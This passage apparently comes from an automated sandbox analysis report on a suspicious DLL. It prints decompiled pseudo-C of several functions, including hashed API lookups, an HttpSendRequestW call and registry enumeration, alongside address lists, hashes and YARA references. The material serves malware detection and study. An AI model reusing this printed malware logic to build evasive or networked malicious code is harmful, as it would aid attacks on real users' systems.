						while( *((intOrPtr*)(__eax + __edx + 8)) != 0xc4b8bd35) {
							__ecx = __ecx + 1;
							__eax = __eax + 0x18;
							if(__ecx < 0x10) {
								continue;
							}
							goto L25;
						}
						__edx =  *((intOrPtr*)(__eax + __edx + 0x14));
						if(__edx != 0) {
							goto L29;
						}
						goto L26;
						L25:
						asm("o16 nop [eax+eax]");
						_t20 = __edx + 0x180; // 0xb78e68
						__edx =  *_t20;
					} while (__edx != 0);
					goto L26;
				}
				L1:
				_t64 = _t47;
				goto L2;
			}

0x6ed4430f
0x6ed44313
0x6ed4444c
0x6ed44459
0x6ed44466
0x6ed44466
0x6ed44319
0x6ed44319
0x6ed44325
0x6ed444f6
0x6ed4435a
0x6ed4435a
0x6ed4435f
0x6ed44365
0x6ed4436c
0x6ed444c0
0x6ed444c5
0x6ed444cc
0x6ed444d2
0x6ed444d7
0x6ed444dd
0x6ed444dd
0x6ed444cc
0x6ed44376
0x6ed44420
0x6ed44420
0x6ed44424
0x6ed44431
0x6ed44437
0x6ed4443e
0x6ed4443e
0x00000000
0x6ed4437c
0x6ed4437c
0x6ed4437f
0x6ed44384
0x6ed4438d
0x6ed4438f
0x6ed44391
0x00000000
0x00000000
0x6ed4439a
0x6ed4439e
0x6ed443a2
0x00000000
0x00000000
0x6ed443a4
0x6ed443a8
0x6ed444b6
0x6ed443ae
0x6ed443b3
0x6ed444ac
0x6ed443b9
0x6ed443be
0x6ed444a2
0x6ed443c4
0x6ed443c9
0x6ed44498
0x6ed443cf
0x6ed443d4
0x6ed443f3
0x6ed443d6
0x6ed443db
0x6ed443e4
0x6ed443ee
0x6ed443dd
0x6ed443dd
0x6ed443dd
0x6ed443db
0x6ed443d4
0x6ed443c9
0x6ed443be
0x6ed443b3
0x6ed443f8
0x6ed443fc
0x6ed44409
0x6ed4440f
0x6ed44416
0x6ed44416
0x6ed44042
0x6ed44042
0x6ed44047
0x6ed4404a
0x6ed44056
0x6ed441cf
0x6ed4408b
0x6ed44090
0x6ed44096
0x6ed4409a
0x6ed441a6
0x6ed441b1
0x6ed441b7
0x6ed441b7
0x6ed441a6
0x6ed440a2
0x00000000
0x6ed440a4
0x6ed440ab
0x6ed440b3
0x00000000
0x6ed440b3
0x6ed4405c
0x6ed4405e
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed44060
0x6ed44060
0x6ed44060
0x6ed44062
0x6ed44064
0x6ed44072
0x6ed44073
0x6ed44079
0x00000000
0x00000000
0x00000000
0x6ed44079
0x6ed441be
0x6ed441c4
0x6ed440b5
0x6ed440b7
0x6ed440c1
0x6ed440c1
0x6ed440c3
0x6ed440c3
0x6ed440eb
0x6ed440ef
0x6ed440f2
0x6ed440f5
0x6ed440f8
0x6ed44107
0x6ed441ca
0x00000000
0x6ed441ca
0x6ed4407b
0x6ed4407b
0x6ed44081
0x6ed44081
0x6ed44087
0x00000000
0x6ed44060
0x6ed44056
0x6ed44376
0x6ed4432d
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4432f
0x6ed4432f
0x6ed4432f
0x6ed44331
0x6ed44333
0x6ed44341
0x6ed44342
0x6ed44348
0x00000000
0x00000000
0x00000000
0x6ed44348
0x6ed444e5
0x6ed444eb
0x00000000
0x00000000
0x00000000
0x6ed4434a
0x6ed4434a
0x6ed44350
0x6ed44350
0x6ed44356
0x00000000
0x6ed4432f
0x6ed44040
0x6ed44040
0x00000000

APIs

GetSystemInfo.KERNELBASE(?), ref: 6ED440C1

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: fbb828f04b477f7a9fa12b0d8b4f03df3325a319478237bcf1f84712a46b4655
Instruction ID: da56b8cb4a1ac1fc595d19000d425c2a0fec448dca6981a4b5a8382ff7fdbfd0
Opcode Fuzzy Hash: fbb828f04b477f7a9fa12b0d8b4f03df3325a319478237bcf1f84712a46b4655
Instruction Fuzzy Hash: FB51F330A48342CFEB55CF99C4A47AE72A6BFA5304F15896DC4A897395DB38CCC2C752

Uniqueness

Uniqueness Score: -1.00%

Function 6ED63820, Relevance: 1.7, APIs: 1, Instructions: 151
networkCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6ED63820(intOrPtr* __ecx) {
				void* __edi;
				void* __esi;
				intOrPtr _t39;
				void* _t40;
				intOrPtr _t43;
				void* _t44;
				void* _t48;
				long _t52;
				int _t53;
				intOrPtr _t59;
				void* _t67;
				intOrPtr* _t95;
				intOrPtr _t102;
				intOrPtr _t104;
				void* _t105;
				intOrPtr* _t107;
				void* _t109;
				intOrPtr* _t110;

				_t110 = _t109 - 0x60;
				_t107 = __ecx;
				_t39 =  *((intOrPtr*)(__ecx + 8));
				if(_t39 == 0 || _t39 == 0xffffffff) {
					_t40 = 1;
				} else {
					_t40 = 0;
				}
				if(_t40 != 0) {
					L26:
					_push(0);
					E6ED59350( *((intOrPtr*)(_t110 + 0x78)));
					return  *((intOrPtr*)(_t110 + 0x74));
				} else {
					_t43 =  *((intOrPtr*)(_t107 + 0x10));
					if(_t43 == 0 || _t43 == 0xffffffff) {
						_t44 = 1;
					} else {
						_t44 = 0;
					}
					if(_t44 != 0) {
						goto L26;
					} else {
						_t75 = _t107 + 0x28;
						E6ED57660(_t107 + 0x28, _t110 + 0x3c, 0x6ed69424);
						E6ED487A0(_t110 + 0x44);
						_t48 = E6ED415C0(0xd27f045a, 0x336e58dc);
						_t98 = _t48;
						if(_t48 != 0) {
							 *_t110 =  *((intOrPtr*)(_t107 + 0x10));
							 *((intOrPtr*)(_t110 + 0xc)) =  *((intOrPtr*)(_t110 + 0x44));
							_t102 =  *((intOrPtr*)(_t107 + 0x28));
							 *(_t110 + 8) = E6ED50180( *((intOrPtr*)(_t110 + 0x44)), 0x7fffffff, _t102);
							if(E6ED59650( *((intOrPtr*)(_t110 + 0x78))) != 0) {
								 *((intOrPtr*)(_t110 + 4)) = E6ED59640( *((intOrPtr*)(_t110 + 0x7c)), 0);
							} else {
								 *((intOrPtr*)(_t110 + 4)) = 0;
							}
							_t52 = E6ED59650( *((intOrPtr*)(_t110 + 0x78)));
							_t103 =  !=  ?  *((void*)(_t110 + 0x18)) : _t102;
							_t53 = HttpSendRequestW( *(_t110 + 0x10),  !=  ?  *((void*)(_t110 + 0x18)) : _t102,  *(_t110 + 0x10),  *(_t110 + 8), _t52); // executed
							if(_t53 == 0) {
								_t104 = E6ED47F00();
								E6ED57560(_t75, _t98, _t104);
								if(_t104 != 0) {
									goto L12;
								} else {
									goto L17;
								}
							} else {
								E6ED57560(_t75, _t98, _t103);
								L17:
								 *(_t110 + 0x50) = 4;
								_t95 = E6ED415C0(0xd27f045a, 0xcedbd48c);
								if(_t95 == 0) {
									_t59 = 0x7f;
									goto L24;
								} else {
									_t105 = _t110 + 0x50;
									_push(0);
									_push(_t105);
									_push(_t110 + 0x4c);
									_push(0x20000013);
									_push( *((intOrPtr*)(_t107 + 0x10)));
									if( *_t95() == 0) {
										_t59 = E6ED47F00();
										if(_t59 != 0) {
											L24:
											 *_t107 = _t59;
											E6ED48CA0(_t110 + 0x44);
											goto L25;
										} else {
											goto L19;
										}
									} else {
										L19:
										 *((intOrPtr*)(_t107 + 0x34)) =  *((intOrPtr*)(_t110 + 0x4c));
										E6ED48810(_t110 + 0x38, 0x2800);
										 *(_t110 + 0x50) =  *(_t110 + 0x38) >> 1;
										_t67 = E6ED415C0(0xd27f045a, 0xcedbd48c);
										if(_t67 == 0) {
											 *_t107 = 0x7f;
											E6ED48CA0(_t110 + 0x34);
											E6ED48CA0(_t110 + 0x44);
											goto L25;
										} else {
											_push(0);
											_push(_t105);
											_push( *((intOrPtr*)(_t110 + 0x3c)));
											_push(0x14);
											_push( *((intOrPtr*)(_t107 + 0x10)));
											asm("int3");
											return _t67;
										}
									}
								}
							}
						} else {
							_t104 = 0x7f;
							E6ED57560(_t75, _t98, 0x7f);
							L12:
							 *_t107 = _t104;
							E6ED48CA0(_t110 + 0x44);
							L25:
							E6ED50B10(_t110 + 0x3c);
							goto L26;
						}
					}
				}
			}

0x6ed63824
0x6ed63827
0x6ed63829
0x6ed6382e
0x6ed63839
0x6ed63835
0x6ed63835
0x6ed63835
0x6ed63840
0x6ed63bba
0x6ed63bba
0x6ed63bc0
0x6ed63bd0
0x6ed63846
0x6ed63846
0x6ed6384b
0x6ed63856
0x6ed63852
0x6ed63852
0x6ed63852
0x6ed6385d
0x00000000
0x6ed63863
0x6ed63863
0x6ed63872
0x6ed6387f
0x6ed6388e
0x6ed63893
0x6ed63897
0x6ed638c2
0x6ed638c5
0x6ed638c9
0x6ed638d1
0x6ed638e0
0x6ed63ca0
0x6ed638e6
0x6ed638e6
0x6ed638e6
0x6ed638f2
0x6ed63902
0x6ed6390c
0x6ed63910
0x6ed63c7f
0x6ed63c83
0x6ed63c8a
0x00000000
0x6ed63c90
0x00000000
0x6ed63c90
0x6ed63916
0x6ed63918
0x6ed6391d
0x6ed6391d
0x6ed63934
0x6ed63938
0x6ed63ba0
0x00000000
0x6ed6393e
0x6ed6393e
0x6ed63946
0x6ed63948
0x6ed63949
0x6ed6394a
0x6ed6394f
0x6ed63956
0x6ed63c68
0x6ed63c6f
0x6ed63ba5
0x6ed63ba5
0x6ed63bac
0x00000000
0x6ed63c75
0x00000000
0x6ed63c75
0x6ed6395c
0x6ed6395c
0x6ed63965
0x6ed6396c
0x6ed63977
0x6ed63985
0x6ed6398c
0x6ed63b89
0x6ed63b90
0x6ed63b99
0x00000000
0x6ed63992
0x6ed63992
0x6ed63994
0x6ed63995
0x6ed63999
0x6ed6399b
0x6ed6399e
0x6ed6399f
0x6ed6399f
0x6ed6398c
0x6ed63956
0x6ed63938
0x6ed63899
0x6ed6389b
0x6ed638a0
0x6ed638a5
0x6ed638a5
0x6ed638ac
0x6ed63bb1
0x6ed63bb5
0x00000000
0x6ed63bb5
0x6ed63897
0x6ed6385d

APIs

HttpSendRequestW.WININET(D27F045A,?,D27F045A,?,00000000,D27F045A,336E58DC,?), ref: 6ED6390C

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: 0c45659177b9a35e6aa33689b13149e63a86d1c7f15718dfcfa7fdaaa50e1e57
Instruction ID: f0f7ceaf32384eba79992c7ec8d62b6632d00f70b0de80e6041fb4cef2ac3a38
Opcode Fuzzy Hash: 0c45659177b9a35e6aa33689b13149e63a86d1c7f15718dfcfa7fdaaa50e1e57
Instruction Fuzzy Hash: 5F514F31608305EBEB509FA4CC54B9F77E8AFD1794F104D29B9A59B390EB31D814CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED5C580, Relevance: 1.6, APIs: 1, Instructions: 98
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6ED5C580(intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v0;
				intOrPtr _v4;
				int _v20;
				char _v28;
				int* _v32;
				int* _v36;
				char _v40;
				char _v48;
				char _v303;
				void* __edi;
				void* __esi;
				long _t25;
				signed int _t33;
				char _t45;
				int _t62;
				intOrPtr _t63;
				char* _t64;
				char* _t66;

				_v40 = 0;
				_t62 = 0;
				_v36 = 0;
				_t63 = __ecx;
				_v32 = 0;
				_t64 = _t66;
				while(1) {
					_v20 = 0x105;
					if(E6ED415C0(0x3ab94787, 0x31fb9d90) == 0) {
						goto L3;
					}
					_t25 = RegEnumValueA( *(_t63 + 4), _t62, _t64,  &_v20, 0, 0, 0, 0); // executed
					if(_t25 == 0) {
						goto L3;
					}
					_t45 = _v40;
					_t26 = 0;
					if(_t45 <= 0) {
						L9:
						E6ED50930(_a4, _t26, _t26);
						E6ED57560( &_v48, _t62, _t63);
						return _v4;
					} else {
						_t63 = _t45;
						_t65 = 0;
						_t62 =  &_v28;
						while(1) {
							E6ED51240(E6ED57600( &_v40, _t65), _t62); // executed
							_t40 = _v36;
							_t33 = E6ED5D620(_t40, E6ED56040(_v36, 0x7fffffff));
							E6ED50B10(_t62);
							if((_t33 ^ 0x38ba5c7b) == _v0) {
								break;
							}
							_t65 =  &_v303;
							if( &_v303 < _t63) {
								continue;
							} else {
								_t26 = 0;
								goto L9;
							}
							goto L11;
						}
						E6ED50750(_v0, E6ED57600( &_v40, _t65));
						E6ED57560( &_v48, _t62, _t63);
						return _v4;
					}
					L11:
					L3:
					E6ED537E0( &_v40, _t64, _v40);
					_t62 = _t62 + 1;
				}
			}

0x6ed5c58e
0x6ed5c595
0x6ed5c597
0x6ed5c59e
0x6ed5c5a0
0x6ed5c5a7
0x6ed5c5aa
0x6ed5c5aa
0x6ed5c5c8
0x00000000
0x00000000
0x6ed5c5db
0x6ed5c5df
0x00000000
0x00000000
0x6ed5c5f8
0x6ed5c5ff
0x6ed5c603
0x6ed5c662
0x6ed5c66b
0x6ed5c677
0x6ed5c68d
0x6ed5c605
0x6ed5c607
0x6ed5c609
0x6ed5c60b
0x6ed5c612
0x6ed5c622
0x6ed5c627
0x6ed5c63e
0x6ed5c647
0x6ed5c659
0x00000000
0x00000000
0x6ed5c65b
0x6ed5c65e
0x00000000
0x6ed5c660
0x6ed5c660
0x00000000
0x6ed5c660
0x00000000
0x6ed5c65e
0x6ed5c6a7
0x6ed5c6b3
0x6ed5c6c9
0x6ed5c6c9
0x00000000
0x6ed5c5e1
0x6ed5c5f0
0x6ed5c5f5
0x6ed5c5f5

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,?,00000000,00000000,00000000,00000000,3AB94787,31FB9D90,?,?,3AB94787,31FB9D90), ref: 6ED5C5DB

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 71b1a84cdbfb9666a2904b00dc10ff6c6848b6122441b50c3cd9c2af10e49e24
Instruction ID: 57d78ff953f7d275fa78d802bb937ea5d0f1d23c3c2f29860de696b9a26a69a0
Opcode Fuzzy Hash: 71b1a84cdbfb9666a2904b00dc10ff6c6848b6122441b50c3cd9c2af10e49e24
Instruction Fuzzy Hash: 8031B1312082449BCB75DBA9D890AEF73DCEBD9344F104D2DA19987340EF719D658BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED5C405, Relevance: 1.6, APIs: 1, Instructions: 83
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6ED5C405(intOrPtr __eax, void* __edi, intOrPtr __ebp, void* _a8, int _a12, void* _a16, void* _a20, void** _a28, void** _a32, void** _a36, char _a40, unsigned int _a44, char _a48, void** _a52, void* _a64, void* _a68) {
				unsigned int _v0;
				void* _v4;
				unsigned int _v8;
				void* _v20;
				void* _v28;
				void* _t41;
				intOrPtr* _t42;
				void** _t45;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t51;

				_t51 = __ebp;
				_t49 = __eax;
				if(__eax != 0) {
					_t42 = _a16;
					goto L1;
				} else {
					do {
						__edx =  &_a48;
						__ecx =  &_a40;
						__eax = E6ED4A0D0( &_a40,  &_a48);
						__edx = _a44;
						__ecx =  &_a52;
						__eax = E6ED483B0( &_a52);
						__esi = _a52;
						__ecx = __esi;
						__edx = 0x7fffffff;
						__eax = E6ED56040(__esi, 0x7fffffff);
						__ecx = __esi;
						__edx = __eax;
						__esi = __eax;
						__ecx =  &_a52;
						__eax = E6ED50B10( &_a52);
						if(__esi != __edi) {
							__ecx =  &_a48;
							__eax = E6ED48CA0( &_a48);
							__ebx = __ebx + 1;
							goto L12;
						} else {
							__edi = _a36;
							__ecx =  &_a48;
							__esi =  *(__ecx - 0x10);
							__eax = E6ED48CA0(__ecx);
							if(__edi != 0) {
								__ecx =  *(__esp + 0x1c);
								__eax = E6ED496D0( *(__esp + 0x1c), 0x5c);
							}
							__ecx =  *(__esp + 0x20);
							__eax = E6ED50220( *(__esp + 0x20), _a40, 0);
							_a12 = 0;
							__eax = E6ED415C0(0x3ab94787, 0xd5493f9);
							__edx = __eax;
							if(__eax == 0) {
								__edx = 0;
							} else {
								__eax =  &_a20;
								__ecx =  *(__eax - 0xc);
								__ecx =  ==  ?  *((void*)(__eax - 0x10)) :  *(__eax - 0xc);
								__ebx = __eax[1];
								__eax = RegOpenKeyExW( *(__esp + 0x68),  *(__eax[1]), 0, __ecx, __eax); // executed
								__edx = __eax;
							}
							__ebx = _a20;
							if(__ebx == 0 || __ebx == 0xffffffff) {
								L34:
								__ebx = _a16;
								__esi = __edx;
								L1:
								if( *((char*)(_t42 + 8)) == 0) {
									L9:
									 *((intOrPtr*)(_t42 + 4)) = _t51;
									 *((char*)(_t42 + 8)) = 1;
									E6ED48CA0( &_a40);
									 *_t42 = _t49;
									return _t49;
								} else {
									_t48 =  *((intOrPtr*)(_t42 + 4));
									if(_t48 == 0 || _t48 == 0xffffffff) {
										_t45 = 1;
									} else {
										_t45 = 0;
									}
									if(_t45 != 0) {
										goto L9;
									} else {
										_t41 = E6ED415C0(0x3ab94787, 0x91935d4e);
										if(_t41 == 0) {
											goto L9;
										} else {
											_push(_t48);
											asm("int3");
											return _t41;
										}
									}
								}
							} else {
								if(__esi == 0) {
									L30:
									__edi =  &(__edi[0]);
									__ebp = __ebx;
									if(__edi < _a28) {
										__esi = 1;
										__eax = __edi * 4;
										__ecx =  *(__esp + 0x58);
										__eax = E6ED59640( *(__esp + 0x58), __edi * 4);
										__eax =  *__eax;
										__ebx = 0;
										__eax = __eax ^ 0x38ba5c7b;
										_a32 = __edi;
										__edi = __eax;
										_a28 = 1;
										goto L12;
									} else {
										goto L34;
									}
								} else {
									if(__ebp == 0 || __ebp == 0xffffffff) {
										__eax = 1;
									} else {
										__eax = 0;
									}
									if(__eax != 0) {
										goto L30;
									} else {
										_v0 = __edx;
										__eax = E6ED415C0(0x3ab94787, 0x91935d4e);
										__edx = _v8;
										if(__eax == 0) {
											goto L30;
										} else {
											_push(__ebp);
											_v0 = __edx;
											asm("int3");
											return __eax;
										}
									}
								}
							}
						}
						goto L35;
						L12:
						__eax = E6ED415C0(0x3ab94787, 0xf561ae8b);
					} while (__eax == 0);
					__edx = _a44;
					__edx = _a44 >> 1;
					_push(_a44 >> 1);
					_push(_a40);
					_push(__ebx);
					_push(__ebp);
					asm("int3");
					return __eax;
				}
				L35:
			}

0x6ed5c405
0x6ed5c405
0x6ed5c409
0x6ed5c52e
0x00000000
0x6ed5c40f
0x6ed5c40f
0x6ed5c40f
0x6ed5c414
0x6ed5c418
0x6ed5c41d
0x6ed5c421
0x6ed5c425
0x6ed5c42a
0x6ed5c42e
0x6ed5c430
0x6ed5c435
0x6ed5c43a
0x6ed5c43c
0x6ed5c443
0x6ed5c445
0x6ed5c449
0x6ed5c450
0x6ed5c51f
0x6ed5c523
0x6ed5c528
0x00000000
0x6ed5c456
0x6ed5c456
0x6ed5c45a
0x6ed5c45e
0x6ed5c461
0x6ed5c468
0x6ed5c46c
0x6ed5c470
0x6ed5c470
0x6ed5c47b
0x6ed5c47f
0x6ed5c484
0x6ed5c496
0x6ed5c49b
0x6ed5c49f
0x6ed5c4c3
0x6ed5c4a1
0x6ed5c4a5
0x6ed5c4a9
0x6ed5c4ac
0x6ed5c4b4
0x6ed5c4bd
0x6ed5c4bf
0x6ed5c4bf
0x6ed5c4c5
0x6ed5c4cb
0x6ed5c537
0x6ed5c537
0x6ed5c53b
0x6ed5c337
0x6ed5c33b
0x6ed5c36c
0x6ed5c36c
0x6ed5c373
0x6ed5c377
0x6ed5c37c
0x6ed5c387
0x6ed5c33d
0x6ed5c33d
0x6ed5c342
0x6ed5c34d
0x6ed5c349
0x6ed5c349
0x6ed5c349
0x6ed5c354
0x00000000
0x6ed5c356
0x6ed5c360
0x6ed5c367
0x00000000
0x6ed5c369
0x6ed5c369
0x6ed5c36a
0x6ed5c36b
0x6ed5c36b
0x6ed5c367
0x6ed5c354
0x6ed5c4d2
0x6ed5c4d4
0x6ed5c510
0x6ed5c510
0x6ed5c511
0x6ed5c517
0x6ed5c3ba
0x6ed5c3bf
0x6ed5c3c7
0x6ed5c3cb
0x6ed5c3d0
0x6ed5c3d2
0x6ed5c3d4
0x6ed5c3d9
0x6ed5c3dd
0x6ed5c3df
0x00000000
0x6ed5c51d
0x00000000
0x6ed5c51d
0x6ed5c4d6
0x6ed5c4d8
0x6ed5c4e3
0x6ed5c4df
0x6ed5c4df
0x6ed5c4df
0x6ed5c4ea
0x00000000
0x6ed5c4ec
0x6ed5c4f6
0x6ed5c4fa
0x6ed5c4ff
0x6ed5c504
0x00000000
0x6ed5c506
0x6ed5c506
0x6ed5c507
0x6ed5c50b
0x6ed5c50c
0x6ed5c50c
0x6ed5c504
0x6ed5c4ea
0x6ed5c4d4
0x6ed5c4cb
0x00000000
0x6ed5c3e3
0x6ed5c3ed
0x6ed5c3f2
0x6ed5c3f6
0x6ed5c3fa
0x6ed5c3fc
0x6ed5c3fd
0x6ed5c401
0x6ed5c402
0x6ed5c403
0x6ed5c404
0x6ed5c404
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,00000000,3AB94787,0D5493F9,?,00000000), ref: 6ED5C4BD

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 0e37b628d0b4e674bacbd8cf169e758a79634cf178c09426afabd7f642685cea
Instruction ID: 0ac2807fe0b561ac0f25153dd9dca12bd30ed3fa4eb5ae0a549af05863301723
Opcode Fuzzy Hash: 0e37b628d0b4e674bacbd8cf169e758a79634cf178c09426afabd7f642685cea
Instruction Fuzzy Hash: 93217F31608342EFCB41DFA4C890A6FB3E5AFC4798F104E1CB4A55B394EB30E8158B92

Uniqueness

Uniqueness Score: -1.00%

Function 6ED41030, Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E6ED41030() {
				void* _v20;
				void* _t4;
				intOrPtr* _t9;
				void* _t11;

				if( *0x6ed6b1e0 == 0xe99c89bf) {
					_t9 = E6ED415C0(0x588ab3ea, 0xc0b67de0);
					 *0x6ed6b1e4 = E6ED415C0(0x588ab3ea, 0x82d274c4);
					if( *0x6ed6b1e0 == 0xe99c89bf) {
						 *_t9(2, 0, 0, 0, 0, 0); // executed
						 *0x6ed6b1e0 = 0;
					}
				}
				_t4 = E6ED415C0(0x588ab3ea, 0x996e050f);
				if(_t4 == 0) {
					return 0;
				} else {
					_push( *((intOrPtr*)(_t11 + 8)));
					_push(8);
					_push( *0x6ed6b1e0);
					asm("int3");
					return _t4;
				}
			}

0x6ed4103b
0x6ed41073
0x6ed41084
0x6ed41093
0x6ed4109e
0x6ed410a0
0x6ed410a0
0x6ed41093
0x6ed41047
0x6ed4104e
0x6ed41063
0x6ed41050
0x6ed41050
0x6ed41054
0x6ed41056
0x6ed4105c
0x6ed4105d
0x6ed4105d

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,588AB3EA,82D274C4,588AB3EA,C0B67DE0,?,6ED48864,00000000,00000000,00000000,?), ref: 6ED4109E

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 7d30aa6684df7b75e09ecfb423653d27eb55cbcc8904885b659962518a0defd5
Instruction ID: 6f92f21cccc8d48e07092a8ba9c785bf8faafbf502b580631bc52a03153564cf
Opcode Fuzzy Hash: 7d30aa6684df7b75e09ecfb423653d27eb55cbcc8904885b659962518a0defd5
Instruction Fuzzy Hash: BEF0A038044A49FEFBA18BF18C06ABA37F8EB212D4F000825F605941C4FF28813A8736

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6ED31570, Relevance: 3.6, Strings: 2, Instructions: 1143
COMMONCrypto

Download Yara Rule

C-Code - Quality: 41%

			E6ED31570(signed int __ecx, void* __edx, void* __eflags) {
				char _v44;
				intOrPtr _v48;
				char _v56;
				char _v72;
				char _v80;
				void* _v116;
				char _v124;
				char _v128;
				signed int _v136;
				char _v140;
				char _v144;
				void* _v148;
				char _v152;
				signed int _v156;
				signed int _v160;
				intOrPtr _v164;
				signed int _v168;
				char _v172;
				char _v176;
				void* _v184;
				void* _v188;
				void* _v192;
				char _v196;
				void* _v212;
				char _v216;
				void* _v220;
				char _v224;
				char _v228;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				void* _v252;
				intOrPtr _v276;
				char _v280;
				char _v288;
				void* _v292;
				char _v296;
				void* _v300;
				intOrPtr _v308;
				signed int _v328;
				void* _v348;
				void* _v352;
				char _v356;
				char _v368;
				char _v372;
				void* _v380;
				char _v384;
				char _v388;
				char _v392;
				char _v396;
				char _v400;
				char _v408;
				char _v412;
				char _v416;
				char _v420;
				char _v428;
				char _v432;
				char _v436;
				char _v444;
				char _v448;
				char _v452;
				char _v456;
				char _v460;
				char _v464;
				char _v468;
				char _v472;
				char _v476;
				char _v480;
				char _v484;
				char _v488;
				char _v492;
				char _v496;
				char _v500;
				char _v504;
				char _v508;
				char _v512;
				char _v516;
				char _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				char _v548;
				char _v552;
				char _v556;
				char _v560;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				void* _v592;
				void* _v596;
				void* _v600;
				void* _v604;
				intOrPtr _v608;
				void* _v612;
				void* _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				void* _v632;
				void* _v636;
				void* _v640;
				void* _v644;
				void* _v648;
				void* _v668;
				void* _v1676;
				void* _v1684;
				void* _v1692;
				void* _v1708;
				intOrPtr _v1800;
				intOrPtr _v1804;
				intOrPtr _v1808;
				intOrPtr _v1812;
				intOrPtr _v1816;
				void* _v1820;
				void* _v1824;
				void* _v1828;
				void* _v1832;
				void* _v1836;
				void* _v1840;
				void* _v1844;
				void* _v1848;
				void* _v1852;
				void* _v1856;
				void* _v1860;
				void* _v1864;
				void* _v1868;
				void* _v1872;
				void* _v1876;
				void* _v1956;
				void* _v1960;
				void* _v2760;
				void* _v2764;
				void* _v2768;
				void* _v2772;
				void* _v2776;
				intOrPtr _v2820;
				signed int _v2860;
				void* _v2864;
				intOrPtr _v2868;
				intOrPtr _v2872;
				intOrPtr _v2876;
				void* _v2880;
				intOrPtr _v2884;
				void* _v2888;
				void* _v2896;
				void* _v2904;
				intOrPtr _v2908;
				void* _v2912;
				intOrPtr _v2916;
				void* _v2920;
				void* _v2928;
				void* _v2936;
				void* _v2940;
				void* _v2944;
				void* _v2948;
				void* _v2952;
				void* _v2956;
				char _v2960;
				void* _v2964;
				void* _v2968;
				void* _v2976;
				void* _v2984;
				signed int _v2988;
				signed int _v2992;
				void* _v3000;
				void* _v3020;
				void* _v3048;
				void* _v3052;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t313;
				signed int _t317;
				void* _t322;
				signed int _t325;
				signed int _t329;
				void* _t345;
				intOrPtr _t368;
				signed int _t370;
				signed int _t379;
				signed int _t383;
				signed int _t387;
				signed int _t562;
				signed int _t571;
				signed int _t585;
				signed int _t586;
				signed int _t595;
				signed int _t599;
				signed int _t620;
				signed int _t621;
				signed int _t782;
				void* _t800;
				signed int _t803;
				void* _t812;
				signed int _t817;
				signed int _t820;
				signed int _t831;
				void* _t833;
				void* _t834;
				void* _t835;
				void* _t838;

				_t827 = _t831;
				_push(_t800);
				_t833 = (_t831 & 0xffffffe0) - 0xad4;
				_t595 = __ecx;
				_t812 = __edx;
				E6ED5B6B0( &_v44,  *((intOrPtr*)(__ecx + 0x1c)));
				_push(0);
